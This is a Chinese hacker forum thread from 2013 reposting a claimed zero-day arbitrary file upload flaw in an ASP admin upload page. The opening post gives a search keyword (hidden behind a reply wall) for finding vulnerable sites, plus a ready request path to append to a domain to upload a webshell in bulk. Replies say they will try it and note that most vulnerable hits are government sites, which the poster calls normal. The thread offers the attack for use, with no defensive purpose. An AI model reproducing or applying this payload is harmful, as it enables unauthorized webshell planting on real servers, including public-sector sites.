请选择 进入手机版 | 继续访问电脑版
查看: 13310|回复: 328

2013.1.29-----任意文件上传漏洞可批量拿shell

  [复制链接]
  • TA的每日心情
    擦汗
    2016-7-28 12:56
  • 签到天数: 4 天

    [LV.2]偶尔看看I

    发表于 2013-1-30 09:02:47 | 显示全部楼层 |阅读模式
    转载的。
    发布一个0day,是一个任意上传漏洞。

    谷歌关键字:
    游客,如果您要查看本帖隐藏内容请回复

    然后在域名后面添加
    1. admin/uploadfile.asp?uppath=mad.asp&upname=&uptext=form1.mad.asp
    复制代码
    任意上传拿shell  
    图:

    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有帐号?注册

    x

    评分

    参与人数 2i币 +12 收起 理由
    Ay's + 2 大部分都是宁波或者其他的ZF网站,有些网站.
    90_ + 10 感谢分享

    查看全部评分

    回复

    使用道具 举报

    该用户从未签到

    发表于 2013-1-30 09:19:38 | 显示全部楼层
    谢谢分享,来试试,,
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2013-1-30 09:29:36 | 显示全部楼层
    那怎么来看他的上传路径呢?

    点评

    应该可以通过审核元素找到路径!  详情 回复 发表于 2015-6-24 16:34
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2013-1-30 10:02:42 | 显示全部楼层
    看下是什么东东
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2013-1-30 10:05:13 | 显示全部楼层
    楼主,这个关键字百度到275,但是基本都不可用啊,还是GOV的

    点评

    gov的很正常  详情 回复 发表于 2013-1-30 10:48
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2015-9-12 11:20
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2013-1-30 10:39:07 | 显示全部楼层
    最爱Oday了 嘿嘿
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2016-7-28 12:56
  • 签到天数: 4 天

    [LV.2]偶尔看看I

     楼主 发表于 2013-1-30 10:48:38 | 显示全部楼层
    huc-安阳 发表于 2013-1-30 10:05
    楼主,这个关键字百度到275,但是基本都不可用啊,还是GOV的

    gov的很正常
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2016-6-13 09:21
  • 签到天数: 11 天

    [LV.3]偶尔看看II

    发表于 2013-1-30 11:17:29 | 显示全部楼层
    看看定定
    回复 支持 反对

    使用道具 举报

    meizhou18 该用户已被删除
    发表于 2013-1-30 11:33:25 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

    aa976102759 该用户已被删除
    发表于 2013-1-30 16:12:03 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表